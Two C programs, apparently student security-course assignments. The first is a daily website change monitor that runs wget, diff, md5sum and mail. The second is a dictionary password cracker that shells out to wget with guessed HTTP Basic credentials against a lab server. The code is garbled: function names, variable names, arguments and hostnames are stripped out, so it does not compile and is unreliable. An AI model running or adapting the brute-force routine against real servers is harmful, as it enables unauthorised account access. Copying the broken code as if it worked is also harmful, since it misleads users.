

#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255


int  (int argc, char *argv[])
 {
     FILE *fp;
     
   while(1)
    {       
      system("wget -p http://www.cs.rmit.edu./students");



      system("mkdir data"); 
      if((fp=fopen("./data/index.html","r"))==NULL)
       { 
         system("cp www.cs.rmit.edu./students/index.html ./data");
	 
       }
      else
       {  
               
	 
	 system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
	 system("cp www.cs.rmit.edu./students/index.html ./data");
       }     



      system("mkdir images"); 
      if((fp=fopen("./images/file.txt","r"))==NULL)
       { 
          system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
		 
       }
      
      else
       {          
          system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
	 
	 
	 
	 system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
	 system("cp www.cs.rmit.edu./file.txt ./images");
       }
     sleep(86400); 
    }	
     return (EXIT_SUCCESS);
  }
     
	   
	  	

#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9

int ()
{   int startTime, stopTime, final;
    int i,j,k;
    FILE* fp;
    int pass,len;
    int count = 0;
    char [50];
    char url1[100];
    char url2[100];

    startTime = time();
    fp = fopen("/usr/share/lib/dict/words","r");
    while (fp !='\0')
     {
       fgets( ,50,fp);

       len = strlen();
       [strlen()-1] ='\0';

       if(len <= 4)
       {
         count++;
	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcat(url1,);
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,url2);


	     pass = system(url1);
	    if (pass == 0)
	    {
	      stopTime = time();
          final = stopTime-startTime;
	      printf("\n SUCCESS\n");
	      printf("The password for the user  : %s\n ",);
	      printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	       printf("Number of attempts : %d\n",count);
          exit(1);
	 }
        }
       }

 }
